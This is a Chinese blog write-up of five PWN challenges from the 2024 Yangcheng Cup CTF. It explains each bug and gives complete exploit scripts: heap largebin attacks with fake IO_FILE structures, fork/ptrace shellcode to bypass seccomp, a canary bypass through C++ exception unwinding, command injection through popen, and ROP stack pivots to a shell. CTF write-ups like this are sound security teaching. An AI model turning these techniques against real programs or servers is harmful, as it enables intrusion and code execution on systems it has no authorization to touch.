2024年“羊城杯”粤港澳大湾区网络安全大赛PWN-AK47全解

[X] 🛰:ly3260344435
[X] 🐧:3260344435
[X] BiliBili:鱼影信息
[X] 公众号:鱼影安全
[X] CSDN:落寞的魚丶
[X] 知识星球:中职-高职-CTF竞赛
[X] 信息安全评估(高职)、中职网络安全、金砖比赛、世界技能大赛省选拔选拔赛、电子取证比赛,CTF培训等
欢迎师傅们交流学习,加我可以拉粉丝群~

hard+sandbox:

这题难点在于绕过沙盒的限制,但是这里openopenat都禁用,
并且固定执行环境,很难通过平替函数 或者篡改cs切换执行环境来执行open函数

在这里插入图片描述

发现大堆的申请限制+uaf漏洞 直接largebin attack+IO就能完成劫持rip

在这里插入图片描述

glibc2.36这里使用了一个magic_gadget来配合使用setcontext完成劫持

0x000000000005e5b0 : mov rdx, rbx ; call qword ptr [rax + 0x38]

这里大牛指导了我一下,使用ptracehook->seccomp

ptrace 系统调用概述:
int ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
//request:指定操作类型,如 PTRACE_ATTACH、PTRACE_DETACH、PTRACE_PEEKDATA 等。 
//PTRACE_ATTACH,用于将当前进程附加到另一个进程的调试会话中。 
//PTRACE_SETOPTIONS,用于设置附加的跟踪选项。 //PTRACE_CONT.用于继续执行之前被暂停的进程
//PTRACE_DETACH,用于从一个正在被调试的进程中分离(“脱离”)调试器,被调试进程将继续正常执行。 //pid:目标进程的进程 ID(PID)。
//addr 和 data:用于特定请求的额外数据。 //data:
//PTRACE_O_TRACESECCOMP:指定设置 seccomp 事件跟踪选项。

fork开启一个子进程 如果 pid 为 0

表示当前代码块是在子进程中执行的,否则是在父进程中执行的

然后使用ptrace附加选项(PTRACE_ATTACH)附加到子进程

调用 wait 函数等待子进程停止。此时子进程将会被暂停,父进程能够对其进行进一步操作

接下来对seccomp设置子进程的监控选项, PTRACE_O_TRACESECCOMP 使得父进程能够接收到 seccomp触发的信号。然后继续执行子进程 PTRACE_CONT

等待 seccomp 触发 wait(NULL); 父进程会在这里阻塞,直到接收到子进程的 seccomp 触发事件。

这个时候子进程会触发seccomp然后,在父进程中对他进行hook处理,完成绕过

在这里插入图片描述
只需要将C语言代码转换为汇编执行就行

from pwn import *
from ctypes import*
from LibcSearcher import*
import pwnlib.shellcraft as sc


u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
p.recvuntil(b'0x')
return int(p.recv(count),16)


FILENAME='../pwn5'
p=process(FILENAME)
elf=ELF(FILENAME)
ip='124.223.76.251'
port=9999
# p = remote(ip,port)


libc=ELF('../libc.so.6')


def command(option):
p.recvuntil(b'>')
p.sendline(bytes(str(option),'utf-8'))


def create(idx,Size):
command(1)
p.recvuntil(b'Index')
p.sendline(bytes(str(idx),'utf-8'))
p.recvuntil(b'Size')
p.sendline(bytes(str(Size),'utf-8'))
def free(id):
command(2)
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
def edit(id,Content):
command(3)
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
p.recvuntil(b'Content')
p.send(Content)
def show(id):
command(4)
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
context.arch='amd64'
create(0,0x500)
create(1,0x520)
create(2,0x510)
create(3,0x520)
free(2)
create(4,0x520)
show(2)
libc_add=u64_fix(p)
libcbase=libc_add-0x1f70f0
success('libcbase '+hex(libcbase))
edit(2,b'a'*(0x10-1)+b'A')
show(2)
p.recvuntil(b'A')
heap_add=u64_Nofix(p)
success('heap_add '+hex(heap_add))
edit(2,p64(libc_add)*2)


IO_list_all=libcbase+0x1f7660
IO_wfile_jumps=libcbase+0x1f30a0
success('IO_wfile_jumps '+hex(IO_wfile_jumps))
setcontextadd=libcbase+libc.sym['setcontext']
ret=libcbase+0x00000000000233d1
#fake_IO
fakeIO_add=heap_add-0xa40
orw_add=fakeIO_add+0xe0+0x50


A=fakeIO_add+0x40
B=fakeIO_add+0xe8+0x40-0x68
C=fakeIO_add
gg=libcbase+0x000000000005e5b0
leave_ret=libcbase+0x0000000000050877
fake_IO=b''
fake_IO=fake_IO.ljust(0x18,b'\x00')
fake_IO+=p64(1) #_IO_write_ptr>_IO_write_base
fake_IO=fake_IO.ljust(0x68,b'\x00')
fake_IO+=p64(orw_add-0x8)#lock
fake_IO=fake_IO.ljust(0x78,b'\x00')
fake_IO+=p64(fakeIO_add)#lock
fake_IO=fake_IO.ljust(0x90,b'\x00')
fake_IO+=p64(A)# _wide_data=rdx
fake_IO+=p64(leave_ret)
fake_IO=fake_IO.ljust(0xc8,b'\x00')
fake_IO+=p64(IO_wfile_jumps)
fake_IO+=p64(orw_add)+p64(ret)+p64(0)+p64(setcontextadd+61)+b'\x00'*0x20
fake_IO+=p64(B)+p64(gg)


mprotect=libcbase+libc.sym['mprotect']
rdi_ret=libcbase+0x0000000000023b65
rsi_ret=libcbase+0x00000000000251be
rdx_rbx_ret=libcbase+0x000000000008bcd9
NR_fork=57
NR_ptrace=101
NR_wait=61
PTRACE_ATTACH=16
PTRACE_SETOPTIONS = 0x4200
PTRACE_O_TRACESECCOMP = 0x00000080
PTRACE_CONT = 7
PTRACE_DETACH=17


shellcode2 = f'''
main:
/*fork()*/
push {NR_fork}
pop rax
syscall
push rax
pop rbx
test rax,rax
jz child_code


/*ptrace(PTRACE_ATTACH, pid, NULL, NULL)*/
xor r10, r10
xor edx, edx
mov rsi,rbx
mov rdi,{PTRACE_ATTACH}
push {NR_ptrace}
pop rax
syscall


/* wait child */
xor rdi, rdi
push {NR_wait}
pop rax
syscall


/* ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESECCOMP) */
mov r10,{PTRACE_O_TRACESECCOMP}
xor rdx, rdx
mov rsi,rbx
mov rdi, 0x4200
push {NR_ptrace}
pop rax
syscall
js error


/* ptrace(PTRACE_CONT, pid, NULL, NULL) */
xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi, {PTRACE_CONT} /* PTRACE_CONT */
push {NR_ptrace}
pop rax
syscall
js error


/* Wait seccomp */
xor rdi, rdi
push {NR_wait}
pop rax
syscall


xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi,{PTRACE_DETACH}
push {NR_ptrace}
pop rax
syscall
jmp end


child_code:
{shellcraft.open('/flag')}
{shellcraft.sendfile(1,3,0,0x100)}
error:
/* exit */
xor rdi, rdi
mov rax, 60
syscall
end:
nop
'''
orw=p64(rdi_ret)+p64(fakeIO_add-(fakeIO_add&0xfff))+p64(rsi_ret)+p64(0x5000)
orw+=p64(rdx_rbx_ret)+p64(7)*2+p64(mprotect)+p64(orw_add+0x48)
orw+=asm(shellcode2)


payload=fake_IO+orw
edit(0,payload)
free(0)
edit(2,p64(heap_add)*2+p64(0)+p64(IO_list_all-0x20))
create(10,0x600)
command(5)


p.interactive()

logger:

Warn中发现栈溢出,但是开了canary不能直接溢出,还有一个C++异常的处理

在这里插入图片描述
通过上面的浅析大致有一个抛出的过程 通过栈展开

一层一层往上找catch块,找到后恢复初始化的一个过程

那么如果通过溢出覆盖了rbp 也能正常执行吗 是可以进行的 栈展开的时候是通过在内部把当前函数栈调用重建 然后通过回抛方式一层一层往上捕获的过程 不以当前rbp做操作。

通过溢出只修改rbp

在这里插入图片描述

通过 _Unwind_RaiseException依然能够捕获到catch块,并且rbp被我覆盖

在这里插入图片描述
再次通过 _Unwind_Resume恢复后rbp变为我覆盖的地址,并且程序正常执行

在这里插入图片描述
这个只是覆盖了rbp 并没有覆盖返回地址的情况下 我们能控制rbp 如果后面程序执行函数返回 leave;ret;我们能直接完成栈迁移控制rip 可以看看覆盖rbp的时候的 返回地址是什么 0x401a37

在这里插入图片描述

他指向的这个地址又是一个jmp jmp后面的可以不用管,注意这里IDA识别catch

在这里插入图片描述

当触发异常的时候会通过 _Unwind_Resume一层一层抛上去

在这里插入图片描述

所以当在 Warn函数触发异常的时候(这个try块很大 一直包含到很下面)

在这里插入图片描述
通过Warn中的异常触发 throw先去捕获上一层catch

在这里插入图片描述
然后会调转指向 _Unwind_Resume现在还是再Warn函数中
还没有抛到上一层 通过 _Unwind_Resume 回抛到上一级 main函数

在这里插入图片描述
在这里插入图片描述

main函数中的catch块 再次通过 _Unwind_Resume去恢复到原来mian函数的执行上下文

在这里插入图片描述

在原来执行过程中是这样的 因为我try对于的始终是Warn的异常捕获 当我覆盖返回地址的时候

比如 说覆盖地址为其他的try捕获 那么按照的栈展开回抛机制 程序会被回抛到try对应的catch块中

在这里插入图片描述
这里把返回地址改为0x401BC2+1(执行特性,你不可能下一条执行地址和你当前地址一样吧)

第一次catch捕获成功,现在进入回抛到上一层

在这里插入图片描述
可以发现回抛jmp后地址不再是原来catch块 而是我篡改后对应的catch

在这里插入图片描述

这个时候catch会执行system 并且从[rbp-0x18]上取值 [rbp-0x18]来着rax

raxbegin_catch初始化的结果 这个我们无法通过栈溢出来控制

在这里插入图片描述
在第一个函数Trace中发现有off_by_null的溢出 还有一个是循环下标的一次循环溢出
溢出后可以篡 改到system使用的字符串

在这里插入图片描述

此攻击通过栈溢出+异常触发可以绕过canary检查 可以控制rbp 和一定内的rip执行

from pwn import *
from ctypes import*
from LibcSearcher import*
u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
p.recvuntil(b'0x')
return int(p.recv(count),16)
FILENAME='../pwn'
p=process(FILENAME)
elf=ELF(FILENAME)
ip='139.155.126.78'
port=34700
# p = remote(ip,port)
def command(option):
p.recvuntil(b'chocie')
p.sendline(bytes(str(option),'utf-8'))
def Trace(Content,records=b'y'):
command(1)
p.recvuntil(b'here')
p.send(Content)
p.recvuntil(b'records?')
p.sendline(records)
def Warn(plz):
command(2)
p.recvuntil(b'plz')
p.send(plz)
for i in range(8):
Trace(b'a'*0x10)
Trace(b'/bin/sh\x00')
ret=0x000000000040101a
bss=0x404000+0x50+0x500
leave_ret=0x00000000004015a9
unwind_try=0x401BC2+1
payload=b''
payload=payload.ljust(0x70,b'A')
payload+=p64(bss)+p64(unwind_try)
Warn(payload)
p.interactive()

httpd:

popen函数:
FILE *popen(const char *command, const char *mode)

popen函数是C标准库中的一个函数,通常用于创建一个进程来执行一个命令

并返回一个管道,用于与这个进程进行通信。

在这里插入图片描述

前面都是web的头,直接抓包格式就可以直接拿到,没有什么问题,都是格式的处理

在这里插入图片描述
在这里插入图片描述
然后有一个URL解码,这个后面有用

在这里插入图片描述

然后做了目录穿越的check

在这里插入图片描述

还有一个字符串的waf

在这里插入图片描述

check完直接popen ,能直接执行命令

在这里插入图片描述
上面的waf根本不严mv或者cp都可以直接把flag移到当前目录下面

然后读取出来,空格需要URL解码不 然第一次输入会被截断

from pwn import *
p = remote('139.155.126.78',34700)
​
payload='get '+'/cp%20/flag%20/home/ctf/html'+' HTTP/1.0'
p.sendline(payload)
p.sendline('Host: '+'192.168.0.1')
p.sendline('Content-Length: '+'0')
p.close()
#读取flag
p = remote('139.155.126.78',34700)
payload='get '+'/flag'+' HTTP/1.0'
p.sendline(payload)
host='127.0.0.1'
p.sendline('Host: '+'192.168.0.1')
p.sendline('Content-Length: '+'0')
p.interactive()

TravelGraph:

glibc2.35下的堆题,有一个uaf漏洞

在这里插入图片描述

只能申请大堆 并且size通过city选择限制为三个 在edit函数中要满足两个条件才可以完成修改

在这里插入图片描述
本地堆题部分不难,就是先利用uaf漏洞和堆风水,
泄露出来libc地址和堆地址,然后利用edit修改bin完 成largbin attack

泄露地址

直接利用申请chunk时用的read输入,不截断,能够泄露残留地址

完成EDIT条件

这里我没仔细看是什么转换,直接代码全部抠出来采取C++多线程爆破大概2、3分钟就能爆破出来

在这里插入图片描述

#include<iostream>
#include<cstring>
#include<algorithm>
#include<cmath>
#include<thread>
#include<vector>
#include<Windows.h>
#include<mutex>


using namespace std;
#define _QWORD unsigned long long
#define MAX_COUNT 24999
mutex mtx;
uint64_t my_count = 0;
uint32_t Array_idx = 0;
DWORD flag[64]{ 0 };
int main1(unsigned int a1, unsigned int flag);
int main1(unsigned int a1);
void bf();
void bf_Array();


typedef struct MyStruct
{
int form;
int to;
int flag;
}MYHEAP;


__int64 minDistance(int* a1, int* a2)
{
int v3; // [rsp+14h] [rbp-Ch]
unsigned int v4; // [rsp+18h] [rbp-8h]
int i; // [rsp+1Ch] [rbp-4h]


v3 = 9999;
for (i = 0; i <= 4; ++i)
{
if (!a2[i] && v3 >= a1[i])
{
v3 = a1[i];
v4 = i;
}
}
return v4;
}
int func(MYHEAP* heap[],int count) {
int i; // [rsp+0h] [rbp-D0h]
int j; // [rsp+4h] [rbp-CCh]
int k; // [rsp+8h] [rbp-C8h]
int m; // [rsp+Ch] [rbp-C4h]
int city_name; // [rsp+10h] [rbp-C0h]
int v6; // [rsp+14h] [rbp-BCh]
int v7; // [rsp+18h] [rbp-B8h]
int v8; // [rsp+1Ch] [rbp-B4h]
int v9[8]; // [rsp+20h] [rbp-B0h] BYREF
int v10[8]; // [rsp+40h] [rbp-90h] BYREF
int v11[26]; // [rsp+60h] [rbp-70h]
unsigned __int64 v12; // [rsp+C8h] [rbp-8h]


v11[0] = 0;
v11[1] = 9999;
v11[2] = 9999;
v11[3] = 9999;
v11[4] = 9999;
v11[5] = 9999;
v11[6] = 0;
v11[7] = 9999;
v11[8] = 9999;
v11[9] = 9999;
v11[10] = 9999;
v11[11] = 9999;
v11[12] = 0;
v11[13] = 9999;
v11[14] = 9999;
v11[15] = 9999;
v11[16] = 9999;
v11[17] = 9999;
v11[18] = 0;
v11[19] = 9999;
v11[20] = 9999;
v11[21] = 9999;
v11[22] = 9999;
v11[23] = 9999;
v11[24] = 0;
for (i = 0; i != count; ++i)
{
v7 = heap[i]->form;
v8 = heap[i]->to;
if (heap[i]->flag < v11[5 * v7 + v8])
{
v11[5 * v7 + v8] = heap[i]->flag;
v11[5 * v8 + v7] = heap[i]->flag;
}
}
for (j = 0; j <= 4; ++j)
{
v9[j] = 9999;
v10[j] = 0;
}
v9[0] = 0;
for (k = 0; k <= 4; ++k)
{
v6 = minDistance(v9, v10);
v10[v6] = 1;
for (m = 0; m <= 4; ++m)
{
if (!v10[m] && v11[5 * v6 + m] && v9[v6] != 9999 && v9[v6] + v11[5 *
v6 + m] < v9[m])
v9[m] = v9[v6] + v11[5 * v6 + m];
}
}
for (m = 0; m <= 4; ++m)
{
//printf("%d ", v9[m]);
if (v9[m] > 0x7D0 && v9[m] != 9999)
{
for (int j = 0; j <= 4; ++j)
{
printf("%d ", v9[j]);
}
putchar('\n');
puts("That's so far! Please review and rewrite it!");
for (size_t i = 0; i < count; i++)
{
printf("%d %d %d\n", heap[i]->form, heap[i]->to, heap[i]->flag);
}
return 1;
}
}
return 0;
}
void init(MYHEAP* ptr[],int length) {
for (size_t i = 0; i < length; i++)
{
ptr[i]= new MYHEAP;
ptr[i]->to = ptr[i]->form = ptr[i]->flag = 0;
}
}
void reg(MYHEAP* ptr) {
ptr->to = ptr->form = ptr->flag = 0;
}
void set(MYHEAP* ptr,int count) {
ptr->form = (count / (5 * 1000)) % 5;
ptr->to = (count / 1000) % 5;
ptr->flag = count % 1000;


}
int change(MYHEAP* ptr) {
int form = ptr->form;
int to = ptr->to;
int flag = ptr->flag;
if (flag < 999) {
ptr->flag++;
return 0;
}
ptr->flag = 0;
if (ptr->form < 4) {
ptr->form++;
return 0;
}
ptr->form = 0;
if (ptr->to < 4) {
ptr->to++;
return 0;
}
return 1;
}


int main()
{


const int Max_count = 32;
vector<thread> mythreads;
for (size_t i = 0; i < Max_count; i++)
{
mythreads.emplace_back(bf);
}
for (auto& i: mythreads)
{
i.join();
}


system("pause");
return 0;
}


void bf() {
MYHEAP* heap[3];
int add_offset = 100;
init(heap, 3);
while (true)
{
mtx.lock();
uint64_t local = my_count;
my_count += add_offset;
mtx.unlock();
if (local >= MAX_COUNT)break;
printf("%d\n", local);
set(heap[0], local);
for (uint64_t i = local; i < local + add_offset; i++)
{
set(heap[0], i);
for (size_t j = 0; j < 5 * 5 * 1000; j++)
{
change(heap[1]);
for (size_t k = 0; k < 5 * 5 * 1000; k++)
{
//printf("k->%d\n form:%d to:%d flag:%d\n", k, heap[1]->form,
heap[1]->to, heap[1]->flag);
change(heap[2]);
if (func(heap, 3)) {
mtx.lock();
my_count = MAX_COUNT;
mtx.unlock();
return;
}
}
}
reg(heap[1]);
reg(heap[2]);
}
}
}

爆破出来多个结果,随便用一个就行

在这里插入图片描述

然后就是正常的打IO操作

from pwn import *
from ctypes import*
from LibcSearcher import*



u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
p.recvuntil(b'0x')
return int(p.recv(count),16)


FILENAME='../pwn10'
p=process(FILENAME)
elf=ELF(FILENAME)
# p = remote('139.155.126.78', 39147)


libc=ELF('../libc.so.6')





def command(option):
p.recvuntil(b'5. Calculate the distance.')
p.sendline(bytes(str(option),'utf-8'))
def choice_city(idx):
if(idx==0):
temp=b'guangzhou'
elif(idx==1):
temp=b'nanning'
elif(idx==2):
temp=b'changsha'
elif(idx==3):
temp=b'nanchang'
else:
temp=b'fuzhou'
return temp
def create(idx,From,To,far=1000,Note=b'a'):
command(1)
p.recvuntil(b'want?')
temp=b''
if(idx==0):
temp=b'car'
elif(idx==1):
temp=b'train'
elif(idx==2):
temp=b'plane'
else:
temp=b'yes'
p.sendline(temp)
p.recvuntil(b'From')
p.sendline(choice_city(From))
p.recvuntil(b'To')
p.sendline(choice_city(To))
p.recvuntil(b'far')
p.sendline(bytes(str(far),'utf-8'))
p.recvuntil(b'Note')
p.send(Note)
def free(From,To):
command(2)
p.recvuntil(b'From')
p.sendline(choice_city(From))
p.recvuntil(b'To')
p.sendline(choice_city(To))
def edit(From,To,idx,Note,far=0x10):
command(4)
p.recvuntil(b'From')
p.sendline(choice_city(From))
p.recvuntil(b'To')
p.sendline(choice_city(To))
p.recvuntil(b'change?')
p.sendline(bytes(str(idx),'utf-8'))
p.recvuntil(b'far')
p.sendline(bytes(str(far),'utf-8'))
p.recvuntil(b'Note')
p.send(Note)
def show(From,To):
command(3)
p.recvuntil(b'From')
p.sendline(choice_city(From))
p.recvuntil(b'To')
p.sendline(choice_city(To))



def Dijkstra(travel):
command(5)
p.recvuntil(b'travel')
p.sendline(choice_city(travel))


create(2,0,1,900)
create(0,2,1,102)
create(1,2,4,999)
Dijkstra(4)
create(0,0,0)#0
create(2,2,0)#1
create(2,2,2)#2


free(2,0)
free(0,0)
create(2,2,0,1000,b'a'*0x510)#3 0
show(2,0)


libc_add=u64_fix(p)
libcbase=libc_add-0x21ace0
success('libcbase '+hex(libcbase))
create(2,2,2)#4
create(0,0,0,1000,b'a'*7+b'A')#5
show(0,0)
p.recvuntil(b'A')
heap_add=u64_Nofix(p)
success('heap_add '+hex(heap_add))



IO_wfile_jumps=libcbase+0x2170c0
success('IO_wfile_jumps '+hex(IO_wfile_jumps))
setcontextadd=libcbase+libc.sym['setcontext']
ret=libcbase+0x0000000000029139
#fake_IO
fakeIO_add=heap_add-0xf90
orw_add=fakeIO_add+0xe0+0x50
A=fakeIO_add+0x40
B=fakeIO_add+0xe8+0x40-0x68
C=fakeIO_add
fake_IO=p64(0)#flag rdi
fake_IO=fake_IO.ljust(0x28-0x20,b'\x00')
fake_IO+=p64(1) #_IO_write_ptr>_IO_write_base
fake_IO=fake_IO.ljust(0x88-0x20,b'\x00')
fake_IO+=p64(fakeIO_add)#lock
fake_IO=fake_IO.ljust(0xa0-0x20,b'\x00')
fake_IO+=p64(A)# _wide_data=rdx
fake_IO=fake_IO.ljust(0xd8-0x20,b'\x00')
fake_IO+=p64(IO_wfile_jumps)
fake_IO+=p64(orw_add)+p64(ret)+b'\x00'*0x30
fake_IO+=p64(B)+p64(setcontextadd+61)
context.arch='amd64'
mprotect=libcbase+libc.sym['mprotect']
rdi_ret=libcbase+0x000000000002a3e5
rsi_ret=libcbase+0x000000000002be51
rdx_r12_ret=libcbase+0x000000000011f2e7
orw=p64(rdi_ret)+p64(fakeIO_add-(fakeIO_add&0xfff))+p64(rsi_ret)+p64(0x5000)
orw+=p64(rdx_r12_ret)+p64(7)*2+p64(mprotect)+p64(orw_add+0x48)
orw+=asm(shellcraft.cat('flag'))


create(2,2,3)
create(0,0,3)
create(1,1,1,100,p64(0)+p64(0x511))


free(0,3)
free(2,3)
create(0,0,3)
create(2,4,0,100,b'a'*8+p64(0x521)+p32(3)*3)


# free(3,3)
free(0,1)
free(2,1)
create(0,0,0)
payload=b'\x00'*8+p64(0x501)+p32(4)*2+p64(0)+fake_IO+orw
payload=payload.ljust(0x500,b'a')+p64(0)+p64(0x20+0x531)
create(2,4,1,100,payload)


free(3,3)
create(2,2,2)
fd=libcbase+0x21b110
_IO_list_all=libcbase+0x21b680
target=_IO_list_all-0x20
payload=b'b'*0x8+p64(0x521)+p64(fd)*2+p64(0)+p64(target)
edit(4,0,0,payload)
free(4,4)
create(2,2,2)
create(2,2,3,100,b'a'*8+p64(0x521)+p32(3)*3)
command(6)


p.interactive()

pstack:

在这里插入图片描述
直接溢出0x10字节但是没有地址,不能直接弹shell需要先泄露libc地址

在这里插入图片描述
可以看到整个ROP很有用,再次的read和leave;ret;可以刚好完成栈迁移,
因为第一次的溢出已经把rbp改成了bss段上面,然后再次的leave;ret;直接迁移过去就行

system执行的时候会大量push操作,会把栈抬高,需要迁移的bss段要在很下面,
不然会导致栈被抬高至不可写地址导致失败

from pwn import *
from ctypes import*
from LibcSearcher import*
u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
p.recvuntil(b'0x')
return int(p.recv(count),16)
FILENAME='../pwn'
p=process(FILENAME)
elf=ELF(FILENAME)
# p = remote('3.1.19.2', 8888)
libc=ELF('../libc.so.6')
ret=0x0000000000400506
rdi_ret=0x0000000000400773
leak='puts'
leak_got=elf.got[leak]
puts_plt=elf.plt['puts']
read_plt=elf.plt['read']
main=0x400540
bss=0x601000+0x500
payload=b'a'*(0x30)+p64(bss)+p64(0x4006C4)
p.send(payload)
sleep(1)
payload=b'a'*(0x8)+p64(rdi_ret)+p64(leak_got)+p64(puts_plt)+p64(main)
payload=payload.ljust(0x30,b'a')+p64(bss-0x30)
payload+=p64(0x00000000004006db)
p.send(payload)
leak_add=u64(p.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
libcbase=leak_add-libc.symbols[leak]
system=libcbase+libc.symbols['system']
str_bin_sh=libcbase+next(libc.search(b'/bin/sh'))
log.info('libcbase '+hex(libcbase))
bss=0x602000-0x50
payload=b'a'*(0x30)+p64(bss)+p64(0x4006C4)
p.send(payload)
sleep(1)
execve=0xebc88+libcbase
xor_edx=0x00000000000a8558+libcbase
payload=b'a'*(0x8)+p64(ret)+p64(rdi_ret)+p64(str_bin_sh)+p64(system)
payload=payload.ljust(0x30,b'a')+p64(bss-0x30)
payload+=p64(0x00000000004006db)
p.send(payload)
p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

落寞的魚丶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值